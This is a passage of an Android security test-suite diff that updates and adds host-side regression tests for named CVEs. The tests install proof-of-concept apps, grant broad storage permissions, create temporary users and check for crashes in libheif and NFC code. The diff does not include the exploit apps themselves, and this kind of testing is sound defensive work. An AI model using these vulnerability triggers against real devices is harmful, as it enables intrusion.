index cf8a688..cf5d47c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -21,14 +21,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39702 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39702 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-39702.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
index de245bb..9aebd15 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
@@ -20,28 +20,36 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39704 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ @AsbSecurityTest(cveBugId = 209965481)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2021_39704() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2021_39704";
+
ITestDevice device = getDevice();
+
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ installPackage("CVE-2021-39704.apk");
+ AdbUtils.runCommandLine(
+ "pm revoke " + "android.security.cts.CVE_2021_39704 "
+ + "android.permission.ACCESS_COARSE_LOCATION",
+ device);
+
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest",
+ "testdeleteNotificationChannelGroup");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index cd8afef..ecf096f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39706 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 200164168)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 0000000..e40cea6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 200688991)
+ @Test
+ public void testPocCVE_2021_39707() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39707";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2021-39707.apk");
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
index 0ae1efa..d67b4e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39794 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39794-test.apk";
static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
new file mode 100644
index 0000000..a427e651
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39795 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39795";
+ private static final String DIR_PATH = "/storage/emulated/0/Android/data/CVE-2021-39795-dir";
+
+ @AsbSecurityTest(cveBugId = 201667614)
+ @Test
+ public void testPocCVE_2021_39795() {
+ ITestDevice device = null;
+ try {
+ device = getDevice();
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39795.apk");
+
+ /* Make a directory inside "Android/data" folder */
+ AdbUtils.runCommandLine("mkdir " + DIR_PATH, device);
+
+ /* Allow Read and Write to external storage */
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.READ_EXTERNAL_STORAGE", device);
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.WRITE_EXTERNAL_STORAGE", device);
+
+ /* Allow the app to manage all files */
+ AdbUtils.runCommandLine(
+ "appops set --uid " + TEST_PKG + " MANAGE_EXTERNAL_STORAGE allow", device);
+
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testFilePresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ AdbUtils.runCommandLine("rm -rf " + DIR_PATH, device);
+ } catch (Exception e) {
+ // ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
index f90cae0..07fa927 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -20,14 +20,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39796 extends NonRootSecurityTestCase {
static final int USER_ID = 0;
static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
index ee835f5..1707ce9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -20,13 +20,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39797 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 209607104)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 1c1b246..9c5887a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -18,20 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.device.ITestDevice;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.After;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39804 extends SecurityTestCase {
+public class CVE_2021_39804 extends NonRootSecurityTestCase {
/**
* b/215002587
@@ -44,12 +42,12 @@
public void testPocCVE_2021_39804() throws Exception {
String inputFiles[] = {"cve_2021_39804.heif"};
String binaryName = "CVE-2021-39804";
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+ new TombstoneUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
- testConfig.config.checkMinAddress(false);
+ testConfig.config.setIgnoreLowFaultAddress(false);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
similarity index 76%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
index de245bb..f1eaad2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,20 +28,22 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39808 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ @AsbSecurityTest(cveBugId = 209966086)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2021_39808() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2021_39808";
+
ITestDevice device = getDevice();
+
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ installPackage("CVE-2021-39808.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
index f952082..9745336 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -21,14 +21,14 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39810 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212610736)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
index df8701c..ec4d197 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20004 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20004 extends NonRootSecurityTestCase {
final static String TEST_PKG = "android.security.cts.CVE_2022_20004_test";
final static String PROVIDER_PKG = "android.security.cts.CVE_2022_20004_provider";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
index 47ea7ca..abc94f5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20007 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 211481342)
@Test
@@ -37,10 +37,12 @@
final String testClass = testPkg + "." + "DeviceTest";
final String testApp = "CVE-2022-20007.apk";
final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+ final String testSecondApp = "CVE-2022-20007-Second.apk";
ITestDevice device = getDevice();
try {
installPackage(testApp);
installPackage(testAttackerApp);
+ installPackage(testSecondApp);
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
new file mode 100644
index 0000000..cc9d347
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.RootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20112 extends RootSecurityTestCase {
+
+ // b/206987762
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 206987762)
+ @Test
+ public void testPocCVE_2022_20112() {
+ final String testPkg = "android.security.cts.CVE_2022_20112";
+ ITestDevice device = null;
+ int currentUser = -1;
+ int newUser = -1;
+ try {
+ device = getDevice();
+
+ // Device wakeup and unlock
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("wm dismiss-keyguard", device);
+
+ // Get current user
+ currentUser = device.getCurrentUser();
+
+ // Create new guest user 'CTSUser' for test
+ newUser = device.createUser("CTSUser", true, false);
+
+ // Start new guest user 'CTSUser'
+ assumeTrue("Unable to create new guest user", device.startUser(newUser, true));
+
+ // Switch to new user 'CTSUser'
+ assumeTrue("Unable to switch to guest user", device.switchUser(newUser));
+
+ // Install PoC application
+ installPackage("CVE-2022-20112.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testprivateDnsPreferenceController");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (currentUser != -1) {
+ // Switch back to previous user
+ device.switchUser(currentUser);
+ }
+ if (newUser != -1) {
+ // Stop user 'CTSUser'
+ device.stopUser(newUser);
+
+ // Remove user 'CTSUser'
+ device.removeUser(newUser);
+ }
+ } catch (Exception e) {
+ // Ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
index a8256d6..e83f090 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20115 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20115 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2022_20115";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2022-20115.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20116.java
similarity index 64%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20116.java
index de245bb..ac5d02e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20116.java
@@ -17,6 +17,7 @@
package android.security.cts;
import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
@@ -28,22 +29,32 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20116 extends StsExtraBusinessLogicHostTestBase {
- @AsbSecurityTest(cveBugId = 228450811)
+ @AsbSecurityTest(cveBugId = 212467440)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20223() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2022_20116";
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
- ITestDevice device = getDevice();
+ // Wake up the screen
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ // Install PoC application
+ installPackage("CVE-2022-20116.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOngoingCallController");
} catch (Exception e) {
assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ } catch (Exception e) {
+ // ignore exceptions here
+ }
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index 8fbf443..f9832a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -18,8 +18,9 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20123 extends SecurityTestCase {
+public class CVE_2022_20123 extends NonRootSecurityTestCase {
/**
* b/221852424
@@ -41,10 +42,10 @@
public void testPocCVE_2022_20123() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2022-20123";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libnfc_nci_jni", "Mfc_RecvPacket"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
index c943804..91f8e66 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
@@ -18,6 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -25,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20127 extends SecurityTestCase {
+public class CVE_2022_20127 extends NonRootSecurityTestCase {
/**
* b/221862119
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index 08b28b6..bb717d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -20,17 +20,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20131 extends SecurityTestCase {
+public class CVE_2022_20131 extends NonRootSecurityTestCase {
/**
* b/221856662
* Vulnerability Behaviour: SIGSEGV in self
@@ -44,11 +45,11 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2022-20131";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
